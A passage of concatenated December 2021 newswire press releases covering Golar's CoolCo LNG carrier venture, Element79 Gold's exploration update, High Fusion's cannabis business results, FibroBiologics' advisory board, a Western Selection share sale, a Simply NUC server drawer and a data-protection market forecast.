day. Blackline provides wearable safety technology, personal and area gas monitoring, cloud-connected software and data analytics to meet demanding safety challenges and increase productivity of organizations with coverage in more than 100 countries. Blackline Safety wearables provide a lifeline to tens of thousands of people, having reported over 161 billion data-points and initiated over five million emergency responses. Armed with cellular and satellite connectivity, we ensure that help is never too far away. For more information, visit www.BlacklineSafety.com and connect with us on Facebook, Twitter, LinkedIn and Instagram. View source version on businesswire.com: https://www.businesswire.com/news/home/20211215005181/en/ Contacts: MEDIA Blackline Safety Christine Gillies, CMO cgillies@blacklinesafety.com +1 403-629-9434 Golar is pleased to announce the formation of Cool Company Ltd. ("CoolCo" or "Company"), and the entry into a pre-commitment agreement (the "Terms Agreement" or the "Agreement"). CoolCo targets to become a growth vehicle and consolidator of modern LNG carriers and provide investors with direct market exposure to an expected continued strength in the LNG freight market. The consummation of the transactions contemplated by the Terms Agreement would result in CoolCo acquiring Golar's 8 TFDE LNG carriers with plans to raise equity and separately list on Euronext Growth in Oslo during Q1 2022. CoolCo is also expected to acquire the commercial and technical organization associated with the operation of Golar's owned and operated shipping and FSRU assets to become a fully integrated operating platform with capacity for fleet growth. The anticipated IPO proceeds will, together with a contemplated debt refinancing, be used to acquire the 8 TFDE vessels from Golar, secure attractive financing and provide CoolCo with working capital to position the company for further growth. Outstanding Contractual Debt associated with the 8 vessels was $858 million as of September 30, 2021. In addition to a cash release, Golar intends to retain approximately 1/3rd of CoolCo as contemplated by the Terms Agreement. Eastern Pacific Shipping ("EPS"), one of the world's largest privately-owned shipping companies, has as part of the Agreement pre-subscribed for $150 million in CoolCo equity based on an average TFDE ship valuation of $145 million, making EPS the largest shareholder of CoolCo. Subject to market conditions, the Terms Agreement contemplates an equity private placement to outside investors during Q1 2022. Alongside Golar, EPS will take an active role in the further development of CoolCo and will chair the Board of Directors. Five listed LNG carrier companies have been taken private during 2021. Remaining listed peers have limited market exposure for modern tonnage. CoolCo aims to provide investors with attractive market exposure, dividend distributions, attractive organic growth and pursue industry consolidation. Karl Fredrik Staubo, CEO of Golar commented: "We are encouraged by the strong underlying market fundamentals for LNG carriers. The Cool Company transaction will allow Golar to separate its shipping business and simplify its corporate structure, while maintaining significant and attractive exposure to the LNG carrier business. We are excited to develop Cool Company with Eastern Pacific Shipping. EPS is one of the world's leading shipping companies and a first mover and global trendsetter in ordering LNG-fueled tonnage in traditional shipping sectors like container, dry bulk, car carriers and tankers. The Terms Agreement is consistent with the planned business separation of Golar's shipping activities and previously announced strategy to focus activities and growth on our market leading FLNG business. Recent increases in global LNG prices have further increased the attractiveness of potential new liquefaction projects. Before considering growth projects, Adjusted EBITDA generated by the FLNG segment is expected to quadruple from current levels over the next 2-3 years, supported by additional production and commodity exposure on Hilli and contracted earnings from Gimi." Cyril Ducau, CEO of Eastern Pacific Shipping commented: "EPS is pleased to be adding LNG shipping to our diverse shipping portfolio. LNG will play an essential role as a commodity and marine fuel as the world transitions to cleaner energy solutions. Golar's solid track record, mature platform, and like-minded vision made this investment an easy decision. As a provider of dual-fuel LNG tonnage across all our segments, EPS looks forward to taking a leading role in making CoolCo a world-class leader in LNG shipping, combining our complementary skills and expertise with Golar's." Clarksons Platou Securities has acted as advisor to EPS and Golar. About Eastern Pacific Shipping With a history spanning 60 years, Eastern Pacific Shipping Pte. Ltd. is a leading shipping company that is committed to the green and technology-driven growth of the industry. Headquartered in Singapore for the past 30 years, EPS is driven by its mission to be the safe and efficient transportation provider of choice to the shipping industry. EPS comprises a workforce of over 5,000 across sea and shore, and a versatile fleet of 188 vessels amounting to 19 million deadweight-tonnes across containership, dry bulk, and tanker vessels. About Golar With a history spanning 75 years, Golar LNG is one of the world's most innovative and experienced independent owners and operators of marine LNG infrastructure. The company developed the world's first Floating LNG liquefaction terminal (FLNG) and Floating Storage and Regasification Unit (FSRU) projects based on the conversion of existing LNG carriers. Front End Engineering and Design (FEED) studies have also been completed for a larger newbuild FLNG solution. About the Terms Agreement The Terms Agreement was executed on December 15, 2021 between Golar and EPS. The transactions contemplated by the Terms Agreement are subject to the satisfactory negotiation and execution of equity purchase agreements with EPS and Golar, lessor consents, debt financing and the completion of a private placement or placements to third party investors. Each of those agreements, if executed, will contain additional closing conditions. While Golar and EPS intend to work together in good faith to complete the transactions contemplated by the Terms Agreement, there can be no assurance that the terms of such agreements will not deviate materially from the terms contemplated by the Terms Agreement, the timing of the completion of those agreements or that they will ultimately be executed and/or consummated. FORWARD LOOKING STATEMENTS This press release contains forward-looking statements (as defined in Section 21E of the Securities Exchange Act of 1934, as amended) which reflects management's current expectations, estimates and projections about its operations, including the consummation of transactions contemplated by the Terms Agreement as well as anticipated Adjusted EBITDA attributable to Golar's FLNG operations. All statements, other than statements of historical facts, that address activities and events that will, should, could or may occur in the future pursuant to the Terms Agreement or are anticipated for LNG carriers or GLNG's FLNG operations are forward-looking statements. Words such as "may," "could," "should," "would," "expect," "plan," "anticipate," "intend," "forecast," "believe," "estimate," "predict," "propose," "potential," "continue," or the negative of these terms and similar expressions are intended to identify such forward-looking statements. These statements are not guarantees of future performance of the transactions contemplated by the Terms Agreement or LNG or FLNG business activities and are subject to certain risks, uncertainties and other factors, some of which are beyond our control and are difficult to predict. Therefore, actual outcomes and results may differ materially from what is expressed or forecasted with respect to the Terms Agreement or our LNG and FLNG businesses in these forward-looking statements. You should not place undue reliance on these forward-looking statements, which speak only as of the date of this press release. Golar LNG Limited undertakes no obligation to update publicly any forward-looking statements whether as a result of new information, future events or otherwise, unless required by applicable law. Hamilton, Bermuda December 15, 2021 Enquiries: Golar Management Limited: + 44 207 063 7900 Karl Fredrik Staubo - CEO Eduardo Maranhao - CFO Stuart Buchanan - Head of Investor Relations This information is subject to the disclosure requirements pursuant to Section 5-12 the Norwegian Securities Trading Act VANCOUVER, BC / ACCESSWIRE / December 15, 2021 / Since listing in August Element79 Gold Corp. (The Company) has had active year. The Company launched their Phase I exploration on their Dale gold project in Ontario, and announced significant acquisitions in both British Columbia, and Nevada. Following up on the high-resolution data obtained from the drone-based magnetic survey completed by Element79 Gold Corp. (The Company) earlier this year, The Company is expected to announce results of the soil sampling, mapping, prospecting and trenching to follow up on historic prospecting by the vendors of the property which has yielded up to 3.82 g/t gold, including several highly anomalous samples grading greater than 0.1 g/t gold 1 . These highly anomalous prospecting samples are associated with zones of strong silicification and disseminated pyrite which The Company believes are prospective for bulk tonnage style gold mineralization. 2021 Dale Gold Property Phase I Exploration Program Highlights in Ontario Following up on the high-resolution data obtained from the drone-based magnetic survey completed by Element79 Gold Corp. (The Company) earlier this year, The Company launched its Phase I exploration program (see news release Sept. 24, 2021), results of which are pending. This Phase I program wrapped up in early November and consisted of trenching, channel sampling, prospecting, mapping and soil sampling is expected to announce results of the soil sampling, mapping, prospecting and trenching, following up on historic prospecting by the vendors of the property which has yielded up to 3.82 g/t gold, including several highly anomalous samples grading greater than 0.1 g/t gold 1 . The mineralization present on the Dale property is associated with zones of strong silification and disseminated pyrite which The Company believes are prospective for bulk tonnage style gold mineralization The Dale Property is a highly prospective early-stage gold project located in the Swayze greenstone belt, which is turn is part of the Abitibi Subprovince, which hosts some of the world's largest gold deposits, e.g. the Timmins camp which has produced over 70 million ounces of gold (Figure 1). The Swayze greenstone belt is best known for hosting IamGold's Cote Lake deposit which contains 10.2 million ounces Measured and Indicated and 3.8 million ounces Inferred 2 , and is located 50 km southeast of the Dale Property (Figure 1). The Cote Lake project received a Positive Construction Decision in July 2020 3 and plans to achieve commercial production in 2023. When asked to comment about this year's exploration program, CEO James Tworek said, "Our budget for the work on the Dale property was targeted in the $80K range and this was met. The Phase I exploration expenditures have fulfilled our work investment, completing the 2021 and 2022 work commitments required. Work completed during this campaign included trenching, channel sampling, mapping and soil sampling and finally lab testing samples for gold and silver inclusions. In addition to geological work, The Company increased its land package by staking 245.53 hectares directly adjacent to the Western and North-Western borders of its existing claims, this expansion of the property was a trajectory reinforced as valuable based on review and further interpretation of The Company's drone-based magnetic survey completed earlier in 2021." Figure 1 Simplified Regional Geology of the Dale Project Area, showing nearby significant deposits and producing mines. Nevada Portfolio Acquisition Pursuant to the news release dated December 1st , 2021, The Company is pleased to provide an update on its acquisition of 1316524 B.C. Ltd. ("Goldco"). As previously disclosed, Element79 Gold is party to a securities exchange agreement (the "Goldco Agreement") pursuant to which it will acquire all of the issued and outstanding shares of Goldco (the "Goldco Acquisition"). Goldco is party to an asset purchase agreement (the "Asset Purchase Agreement") with Clover Nevada LLC ("Clover Nevada") and Maverick Springs Mining Company, LLC ("MSMC") to acquire the flagship Maverick Springs project (the "Maverick Springs Project") and 15 additional projects that comprise the Battle Mountain portfolio (collectively, the "Battle Mountain Portfolio") (the "Asset Acquisition" and together with the Goldco Acquisition, the "Transactions"). The Maverick Springs Project and the Battle Mountain Portfolio are located in the gold mining regions of northeastern Nevada, home to some of the world's largest gold mines. The Transactions were originally scheduled be completed in November. However, due to delays associated with Clover Nevada and MSMC obtaining outstanding consents required in connection with the Asset Acquisition, completion of the Transactions have been briefly delayed. As such, both the Goldco Agreement and the Asset Purchase Agreement have been amended to provide the parties with additional time to complete the transactions contemplated thereunder. Element79 Gold remains committed to completing the Transactions and virtually all of the closing conditions have been satisfied on The Company's end. An announcement is to be expected at the beginning of Q1 2022. Snowbird Property Acquisition in British Columbia Pursuant to The Company's August 25th, 2021 news release, Element79 Gold has signed a binding Letter of Intent (the "LOI") to acquire 100% of the issued and outstanding shares in Plutus Gold, which holds the option to acquire the Snowbird High-Grade Gold Project. While Element79 Gold's due diligence review remains ongoing, it has progressed sufficiently that the Company has opted to finance Plutus Gold's Drill Program via a drawable loan facility up to $1,100,000 CAD in order to facilitate the fulfillment of Plutus Gold's final obligations remaining under the Option Agreement between Plutus Gold and Gitennes Exploration Ltd. (see new release Oct. 27, 2021). Plutus Gold's Drill Program is ongoing with an estimate of 3,000 meters to be completed this year. Similar to the Nevada Portfolio acquisition, The Company expects to make an announcement, which includes an updated 43-101, at the beginning of Q1 2022. Qualified Person The technical information in this release has been reviewed and verified by Neil Pettigrew, M.Sc., P. Geo., Director of Element79 Gold and a "qualified person" as defined by National Instrument 43-101. About Element79 Gold Element79 Gold is a mineral exploration company focused on the acquisition, exploration and development of mining properties for gold and associated metals. Element79 Gold has an option to acquire 100% interest in the Dale Property which consists of 90 unpatented mining claims located approximately 100 km southwest of Timmins, Ontario, Canada in the Timmins Mining Division, Dale Township. In British Columbia, the Company has executed a Letter of Intent to acquire a private company which holds the option to 100% interest of the Snowbird High-Grade Gold Project, which consists of 10 mineral claims located in Central British Columbia, approximately 20km west of Fort St. James. For more information about Element79 Gold, please visit www.element79.gold or www.element79gold.com. Contact Information For corporate matters, please contact: James C. Tworek, Chief Executive Officer E-mail: jt@element79gold.com For investor relations inquiries, please contact: Investor Relations Department Phone: +1 (604) 200-3608 E-mail: investors@element79gold.com Neither the Canadian Securities Exchange nor the Market Regulator (as that term is defined in the policies of the Canadian Securities Exchange) accepts responsibility for the adequacy or accuracy of this release. Sources Element79 Gold Corp., May 4, 2021, 43-101 Technical report on the Dale Property, Section 9.6, available on SEDAR IamGold Corp., February 17, 2021, Annual Information Form https://s2.q4cdn.com/610165863/files/doc_downloads/2021/02/FINAL-2020-AIF-Feb-17-2021.pdf IamGold Corp., July 21 2020, News Release https://www.iamgold.com/English/investors/news-releases/news-releases-details/2020/IAMGOLD-to-Proceed-with-Construction-of-the-Ct-Gold-Project-in-Ontario-Canada/default.aspx Cautionary Note Regarding Forward Looking Statements This press contains "forward-looking information" and "forward-looking statements" under applicable securities laws (collectively, "forward-looking statements"). These statements relate to future events or Element79 Gold's future performance, business prospects or opportunities that are based on forecasts of future results, estimates of amounts not yet determinable and assumptions of management made in light of management's experience and perception of historical trends, current conditions and expected future developments. Forward-looking statements include, but are not limited to, statements with respect to: the Element79 Gold's business strategy; and completion of the Transactions. Assumptions may prove to be incorrect and actual results may differ materially from those anticipated. Consequently, forward-looking statements cannot be guaranteed. As such, investors are cautioned not to place undue reliance upon forward-looking statements as there can be no assurance that the plans, assumptions or expectations upon which they are placed will occur. All statements other than statements of historical fact may be forward-looking statements. Any statements that express or involve discussions with respect to predictions, expectations, beliefs, plans, projections, objectives or future events or performance (often, but not always, using words or phrases such as "seek", "anticipate", "plan", "continue", "estimate", "expect", "may", "will", "project", "predict", "forecast", "potential", "target", "intend", "could", "might", "should", "believe" and similar expressions) are not statements of historical fact and may be "forward-looking statements". Actual results may vary from forward-looking statements. Forward-looking statements are subject to known and unknown risks, uncertainties and other factors that may cause actual results to materially differ from those expressed or implied by such forward-looking statements, including but not limited to: the duration and effects of the coronavirus and COVID-19; risks related to the integration of acquisitions; actual results of exploration activities; conclusions of economic evaluations; changes in project parameters as plans continue to be refined; commodity prices; variations in ore reserves, grade or recovery rates; actual performance of plant, equipment or processes relative to specifications and expectations; accidents; labour relations; relations with local communities; changes in national or local governments; changes in applicable legislation or application thereof; delays in obtaining approvals or financing or in the completion of development or construction activities; exchange rate fluctuations; requirements for additional capital; government regulation; environmental risks; reclamation expenses; outcomes of pending litigation; limitations on insurance coverage as well as those factors discussed in Element79 Gold's other public disclosure documents, available on www.sedar.com. Although Element79 Gold has attempted to identify important factors that could cause actual results to differ materially from those contained in forward-looking statements, there may be other factors that cause results not to be as anticipated, estimated or intended. Element79 Gold believes that the expectations reflected in these forward-looking statements are reasonable, but no assurance can be given that these expectations will prove to be correct and such forward-looking statements included herein should not be unduly relied upon. These statements speak only as of the date hereof. Element79 Gold does not intend, and does not assume any obligation, to update these forward-looking statements, except as required by applicable laws. SOURCE: Element79 Gold Corp. View source version on accesswire.com:https://www.accesswire.com/677812/Element79-Gold-Provides-Year-End-Update-on-Dale-Property-in-Ontario-and-Pending-Property-Acquisitions-in-Nevada-and-British-Columbia Toronto, Ontario--(Newsfile Corp. - December 15, 2021) - High Fusion Inc. (CSE: FUZN) ("High Fusion" or the "Company") is pleased to announce its financial results for the fiscal year ended July 31, 2021. Fiscal 2021 Financial Highlights For the year ended, July 31, 2021, revenues from Calyx Brands Inc. ("Calyx") have been categorized as discontinued operations and therefore the reported revenues for 2021 are negligible and only represent the business of Palo Verde LLC ("Palo Verde") which was acquired in March 2021. After closing of the acquisition of Palo Verde there was a change in management of this business and the equipment was recommissioned which caused reduced revenues during the date of acquisition to July 31, 2021. With the sale of Calyx, conversion of debentures and settlement of debt undertaken during the year ended July 31, 2021, total liabilities have been more than cut in half from the prior year end to $13.4 million. With the closing of the acquisition of the business of OutCo Labs Inc. ("OutCo") on August 31, 2021, the Company will begin to consolidate the financial results from this business starting in the first quarter ended October 31, 2021. Based on an audit of the business of OutCo included in the Company's business acquisition report filed on December 1, 2021, the business of OutCo had 2020 annual revenues of approximately US$8.2 million (US$8.6 million in 2019) and gross profit of US$2.5 million (US$2.3 million in 2019). Business Highlights: Q4 and Subsequent Events On June 18, 2021, the Company announced that it entered into a definitive agreement to acquire the business of OutCo. On August 31, 2021, the Company acquired the business of OutCo through the purchase of substantially all the assets associated with the business including: control and management of all licensed entities; intellectual property; equipment and land. Based in San Diego California, the acquired business specializes in manufacturing and retailing premium quality cannabis flower and extract products under the OutCo name. Effective September 3, 2021, the Company, in accordance with the previously approved shareholder resolution, completed a consolidation of its common shares on a twenty (20) for one (1) basis. All references to share amounts and share prices herein are on a post-consolidation basis. On September 29, 2021, the Company obtained approval from its shareholders to establish a class of multiple voting shares, re-designate its common shares as subordinate voting shares and to change the name of the Company to "High Fusion Inc." The Company name change took effect November 15, 2021, and on November 16, 2021, the subordinate voting shares under the High Fusion name commenced trading on the Canadian Securities Exchange. On November 24, 2021, the Company announced that it received recreational licenses for both of its retail facilities located in Southern California. Corporate Strategy High Fusion is focused on identifying, acquiring and developing high-value products and brands for its cannabis infused edibles and oil extracts product lines sold into the medical and adult recreational markets. The Company plans to adopt a focused approach to the production of branded product in the California market, which is expected to include acquisitions of, or partnerships with existing well-run businesses in the State. With the closing of the acquisition of the business of OutCo, the Company now controls a vertically integrated cannabis business through three licensed affiliates specializing in manufacturing and retailing premium quality cannabis flower and high margin extract products. These products include award-winning vape cartridges, tinctures, topicals, capsules and flower products which are sold under in-house brands through wholly owned retail stores and third party dispensary clients throughout California. High Fusion's high-value product and brand manufacturing strategy has been successful in Colorado where the Company worked with Palo Verde, to grow the FLI branded products. With the closing of the acquisition of Palo Verde, the Company expects to increase its investment in Colorado and expand the Palo Verde operations in the Colorado market. Further, High Fusion plans to leverage its investment in Oregon through the relaunch of its manufacturing operations in the state and seek strategic partnerships and/or acquisitions to grow this business. The Company has taken steps to broaden its focus to encompass research and development of non-cannabis, plant-based products through the acquisition of Neural Therapeutics in August 2020. Further to the press release November 19, 2021, the Company intends to spin-out Neural Therapeutics and raise capital for the business going forward. "It has been a very exciting year for the Company as we took further steps in our restructuring and successfully closed a key acquisition of the business of OutCo. Within three months of closing the acquisition both licenced dispensaries gained approval for recreational sales," stated John Durfy, CEO of High Fusion. "As we move towards completing the clean-up and recapitalization of our balance sheet we are very excited about the growth opportunities in California, Colorado and Oregon." Update on Management Cease Trade Order As a result of a delay in the completion of the audit of the financial statements for the year ended July 31, 2021, on December 3, 2021, the Ontario Securities Commission (the "OSC") issued a Failure-to-File Cease Trade Order against the Company (the "FFCTO"). Under National Policy 11-207 the filings of the financial statements, associated management's discussion and analysis and applicable certifications will automatically initiate a review process by the OSC, without any application by the Company. Following such review, the Company expects the FFCTO would be revoked by the OSC shortly thereafter. The Company confirms there has been no material change to the information relating to the Company's delay in filing the Audited Financial Statements since its news release on December 6, 2021, that has not been disclosed. About High Fusion Inc. High Fusion Inc. (formerly Nutritional High International Inc.) is focused on developing and manufacturing branded products in the cannabis industry with a specific focus on flower, pro-rolls, vapes, edibles and oil extracts for medical and adult recreational use. The Company operates and controls licenses in California, Colorado and Oregon. High Fusion has manufacturing, retail and grow operations in California through its acquisition of the business of OutCo and owns and operates oil extraction and edible manufacturing facilities in Colorado and Oregon. The Company's brand portfolio includes its award winning FLI edibles and vape product, along with a number of new brands including Red Octopus and Dubbi Brothers in addition to the OutCo and Thrive brands recently acquired. Neural Therapeutics Inc. is a wholly-owned subsidiary of High Fusion focused on ethnobotanical drug-discovery and development company. Neural Therapeutics is focused on developing products and conducting research on the psychoactive cacti plants with the primary objective to find where the historical use in traditional medicine has proven to be effective and capitalize on the opportunities that can be applied in modern medical and natural health product markets. For updates on the Company's activities and highlights of the Company's press releases and other media coverage, please visit www.high-fusion.com. For further information, please contact: High Fusion Inc. Robert Wilson, Chief Financial Officer 416-666-4005 Email: rwilson@nutritionalhigh.com Caution Regarding Forward-Looking Information: NEITHER THE CANADIAN SECURITIES EXCHANGE NOR OTC MARKETS GROUP INC., NOR THEIR REGULATIONS SERVICES PROVIDERS HAVE REVIEWED OR ACCEPT RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS RELEASE. This news release may contain forward-looking statements and information based on current expectations. These statements include statements regarding: acquisitions of, or partnerships with existing well-run businesses in California, its expectation to increase its investment in Colorado and expand its Palo Verde operations in the Colorado market. plans to leverage the Company's investment in Oregon through the relaunch of its manufacturing operations in the state and seek strategic partnerships and/or acquisitions to grow this business, the timing and ability to complete the Neural Therapeutics spin-out . These statements should not be read as guarantees of future performance or results. Such statements involve known and unknown risks, uncertainties and other factors that may cause actual results, performance or achievements to be materially different from those implied by such statements. This forward-looking information reflects the Company's current beliefs and is based on information currently available to the Company and on assumptions the Company believes are reasonable. These assumptions include, but are not limited to: the ability of the Company to successfully execute its business plans; legal changes relating to the cannabis and psychedelic industries proceeding as anticipated; and the Company's continued response and ability to navigate the COVID-19 pandemic being consistent with, or better than, its ability and response to date. The Company's securities have not been registered under the U.S. Securities Act of 1933, as amended (the "U.S. Securities Act"), or applicable state securities laws, and may not be offered or sold to, or for the account or benefit of, persons in the United States or "U.S. Persons", as such term is defined in Regulation S under the U.S. Securities Act, absent registration or an applicable exemption from such registration requirements. This press release shall not constitute an offer to sell or the solicitation of an offer to buy nor shall there be any sale of the securities in the United States or any jurisdiction in which such offer, solicitation or sale would be unlawful. Additionally, there are known and unknown risk factors which could cause the Company's actual results, performance or achievements to be materially different from any future results, performance or achievements expressed or implied by the forward-looking information contained herein. Such risks and other factors may include, but are not limited to: general business, economic, competitive, political and social uncertainties; general capital market conditions and market prices for securities; the actual results of the Company's future operations; competition; changes in legislation affecting the Company; obtaining and maintaining regulatory approvals including acquiring and renewing U.S. state, local or other licenses, the uncertainty of existing protection from U.S. federal or other prosecution, regulatory or political change such as changes in applicable laws and regulations, including U.S. state-law legalization, market and general economic conditions of the cannabis sector or otherwise; the timing and availability of external financing on acceptable terms; lack of qualified, skilled labour or loss of key individuals; risks related to the COVID-19 pandemic including various recommendations, orders and measures of governmental authorities to try to limit the pandemic, including travel restrictions, border closures, non-essential business closures, service disruptions, quarantines, self-isolations, shelters-in-place and social distancing, disruptions to markets, economic activity, financing, supply chains and sales channels, and a deterioration of general economic conditions including a possible national or global recession; and a deterioration of financial markets that could limit the Company's ability to obtain external financing. A description of additional risk factors that may cause actual results to differ materially from forward-looking information can be found in the Company's disclosure documents on the SEDAR website at www.sedar.com. Although the Company has attempted to identify important factors that could cause actual results to differ materially from those contained in forward-looking information, there may be other factors that cause results not to be as anticipated, estimated or intended. Accordingly, readers should not place undue reliance on forward-looking information. Readers are cautioned that the foregoing list of factors is not exhaustive. Readers are further cautioned not to place undue reliance on forward-looking information as there can be no assurance that the plans, intentions or expectations upon which they are placed will occur. Such information, although considered reasonable by management at the time of preparation, may prove to be incorrect and actual results may differ materially from those anticipated. Forward-looking information contained in this press release is expressly qualified by this cautionary statement. The forward-looking information contained in this press release represents the expectations of the Company as of the date of this press release and, accordingly, are subject to change after such date. However, the Company expressly disclaims any intention or obligation to update or revise any forward-looking information, whether as a result of new information, future events or otherwise, except as expressly required by applicable securities law. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/107710 Preeminent scientists join FibroBiologics to provide input for the growing clinical pipeline of cell therapies HOUSTON, Dec. 15, 2021 /PRNewswire/ -- FibroBiologics, a clinical-stage company developing fibroblast cell-based therapeutics for chronic diseases, today introduced its scientific advisory board (SAB). Comprised of world-renowned scientists and clinicians, the SAB will provide the company with guidance on current and planned development programs focused exclusively on fibroblast-based cell therapies. "As a company founded in science and driven by discovery, we are fortunate to have attracted internationally recognized scientists to our scientific advisory board," said Pete O'Heeron, CEO and Chairman of FibroBiologics. "Our aim is to develop an expansive pipeline of clinically validated cell therapies for chronic diseases. We look to our SAB to provide perspective and accountability as well as to stimulate ongoing dialogue to accelerate our advances for the ultimate benefit of patients." "Our goal is work closely with our SAB to provide us an objective external prospective, quality authentication of generated clinical data, and use their vast relevant background and network to develop industry and academic collaborations," stated Hamid Khoja Ph.D., Chief Scientific Officer, FibroBiologics. The inaugural scientific advisory board members are: S. Thomas Carmichael, M.D., Ph.D., UCLA, Professor and Chair, Department of Neurology, David Geffen School of Medicine at UCLA, and the Broad Stem Cell Research Center. Dr. Carmichael specializes in neural repair post-stroke and traumatic brain injuries by studying the processes of newly generated neurological connections in the brain called axonal sprouting, and the adult brain stem cells aiding the process of repair by being recruited to the site of injury. Dr. Carmichael's expertise and knowledge in the field of fibroblasts and neural regeneration will provide the neural programs at FibroBiologics with cutting edge scientific input in these areas. Claudia Lucchinetti, M.D., Ph.D., Mayo Clinic, Professor and Chair, Department of Neurology; Dean, Clinical and Translational Science; Director of the Center for Clinical and Translational Sciences, and Eugene and Marcia Applebaum Professor of Neuroscience, Mayo Clinic Alix School of Medicine. Dr. Lucchinetti is a neurologist and international expert on the pathology and pathogenesis of central nervous system (CNS) demyelinating diseases. Her research focuses on cutting-edge experimental neuropathological and imaging techniques to characterize tissue injury. Her research led to the pathbreaking identification of four distinct patterns of tissue damage in early active Multiple Sclerosis (MS), suggesting that MS lesions are formed differently among different patient subgroups, which could allow for MS treatments to be personalized based on the pathological subtype. FibroBiologics' MS and CNS program will greatly benefit from Dr. Lucchinetti's expansive research and understanding of the biological mechanisms in this space. Elizabeth Shpall, M.D., The University of Texas MD Anderson Cancer Center, Chair ad interim, and Howard and Lee Smith Chair in Cancer Research Professor, Department of Stem Cell Transplantation and Cellular Therapy, Division of Cancer Medicine. Dr. Shpall is a renowned scientist in the stem cell transplantation space. Her leadership in umbilical cord blood collection, banking and transplantation has led to the collection of over 140,000 cord blood units across Houston, donated voluntarily, and the transplantation in over 2,800 patients with cord blood using novel strategies to ensure better efficacy in patients. Dr. Shpall's clinical experience, understand of advanced cell-based therapies and research accomplishments will be invaluable in establishing rigorous scientific accountability and advising FibroBiologics. Neil Bhowmick, Ph.D., Cedars-Sinai, Director, Cancer Biology Program, Cedars-Sinai Cancer Institute and Professor of Medicine Cedars-Sinai Medical Center/UCLA. Dr. Bhowmick identified the role of tissue fibroblastic cells in cancer initiation. His research focuses on the role of the tumor microenvironment in prostate, lung, and pancreatic cancer progression, mediators of metastatic progression, and therapy resistance through in vivo model systems and clinical trials. Dr. Bhowmick's experience with fibroblasts and his vast cell-based oncology research will provide valuable input for the cancer programs at the company. About FibroBiologics Based in Houston, FibroBiologics is a regenerative medicine company developing a pipeline of treatments for chronic diseases using fibroblast cells. Currently, FibroBiologics holds 150+ U.S. and international issued patents/patents pending across a variety of clinical pathways, including disc degeneration, orthopedics, multiple sclerosis and cancer. FibroBiologics represents the next generation of medical advancement in cell therapy. For more information, visit www.FibroBiologics.com. Contact: info@biologics.com Logo - https://mma.prnewswire.com/media/1588786/FibroBiologics_Logo.jpg Western Selection Plc - Disposal of shares 15 December 2021 WESTERN SELECTION PLC (the "Company") Disposal of shares in Northbridge Industrial Services Plc ("Northbridge") The Company announces that it has sold 495,500 ordinary shares of 10 pence each in the capital of Northbridge at a price of 159.7 pence per share. Following this transaction, the Company now holds 2,804,500 ordinary shares in Northbridge which represents 9.65% of Northbridge's issued share capital. This announcement contains inside information for the purposes of the UK Market Abuse Regulation. Upon the publication of this announcement, this information is considered to be in the public domain. The Directors of the Company accept responsibility for the contents of this announcement. For further information please contact: Western Selection PLC +44 (0) 20 7796 9060 Cairn Financial Advisers LLP +44 (0) 20 7213 0880 (James Caithie / Liam Murray) . The new Simply NUC Server Drawer solution offers secure management for a centralized data center of up to ten endpoint devices AUSTIN, Texas and BELFAST, United Kingdom and DUNLEER, Ireland, Dec. 15, 2021 /PRNewswire/ -- Simply NUC, Inc, a leading mini computer integration company, today is announcing our new Simply NUC Server Drawer. Engineered to provide simplified installation and superior serviceability, the Simply NUC Server Drawer allows IT administrators to conveniently manage each mini PC without having to remove it from the drawer. Simply NUC is currently taking orders on the Server Drawer across our global websites with units now shipping. By integrating hardware remote from desktop users, the Simply NUC Server Drawer ensures security by preventing opportunities for theft, misuse, or hacking while enabling streamlined management for IT administrators. The 4U chassis enables easy installation with advanced cable management and provides superior serviceability that includes diagnostic service routines for all ten clients within the Server Drawer. "With our new Server Drawer, Simply NUC is now a single source for creating complete endpoint solutions for our customers," said Aaron Rowsell, Simply NUC CEO, "by offering the base Server Drawer with the ability to configure it with customized mini PCs and cabling we're able to fulfill each customer's exact centralized data center needs." Intended for a wide range of usages, the Simply NUC Server Drawer is ideal for digital signage, retail, video distribution, centralized computing, control centers, and financial services. The Server Drawer also provides options for exceptional video and graphics data over fiber optic cabling to users, video walls, and more. This solution is great for hosting both VM and bare metal server, as well as cluster and cloud server configurations with redundant failover, all in one 4U space. The sturdy metal design only weighs 35 pounds (without clients) and measures 16" x 7" x 19" in size. Pricing on the base SKU starts at $1,699 USD. The Simply NUC Server Drawer includes the 4U chassis, redundant 600W power supplies, ten mounting dividers, four cooling fans, power cables for ten mini PCs, and two power connectors. Additionally, it features keystones with cables supporting single HDMI, USB, and RJ-45 LAN ports. Compatible with most Simply NUC product lines, the unit can be easily upgraded and fully configured to include customized mini PCs and cables by contacting our sales team at sales@simplynuc.com. More information on the Simply NUC Server Drawer can be found at: https://simplynuc.com/server-drawer/. Formed in 2015 and headquartered in Round Rock, Texas, Simply NUC, Inc. is a global systems integrator specializing in mini computers. Simply NUC provides fully configured, warrantied, and supported mini PC systems and solutions to businesses and consumers, as well as end-to-end NUC project development, custom operating system installations, and NUC accessories. For more information about Simply NUC visit www.simplynuc.com . Contact: John Deatherage, CMO johnd@simplynuc.com Photo - https://mma.prnewswire.com/media/1708853/Simply_NUC_Server_Drawer.jpg Photo - https://mma.prnewswire.com/media/1708854/Simply_NUC_Server_Drawer.jpg Logo - https://mma.prnewswire.com/media/1027326/simplyNUC_Logo.jpg BANGALORE, India, Dec. 15, 2021 /PRNewswire/ -- The Data Protection Market is Segmented by Type (Data Backup and Recovery, Data Archiving and Ediscovery, Disaster Recovery, Encryption, Tokenization, Data Loss Prevention (DLP), Identity and Access Management (IAM), Compliance Management), Application (Small and Medium-sized Enterprises (SMEs), Large Enterprises). The report covers global opportunity analysis and industry forecasts from 2021 to 2027. The global Data Protection market size is projected to reach USD 113390 Million by 2027, from USD 61330 Million in 2020, at a CAGR of 9.1% during the forecast period 2021-2027. Major Factors Driving The Growth Of The Data Protection Market Are: Increasing the data volume and the need for data security and privacy, government regulation mandating data protection, and rising concerns of critical data loss in the on-premises environment are expected to drive the growth of the data protection market. Another major factor driving data protection market expansion is the increased adoption of next-generation technologies and the movement of data to a cloud model to obtain flexibility, agility, and cost savings. As a result, organizations are considering data security solutions and services in the cloud to store and safeguard important data from data loss, data theft, and operational calamities. Get your sample today: https://reports.valuates.com/request/sample/QYRE-Auto-4Z1912/Global_Data_Protection_Market Trends Influencing The Growth Of The Data Protection Market: The data protection market is projected to be driven by government regulations mandating the implementation of data protection. Several governments around the world are mandating data protection to safeguard individuals' personal data. The data protection regulation generally governs the use, transfer, and disclosure of data collected. The rising importance of transparency in data protection is expected to further drive the data protection market growth. Transparency fosters confidence, which in turn 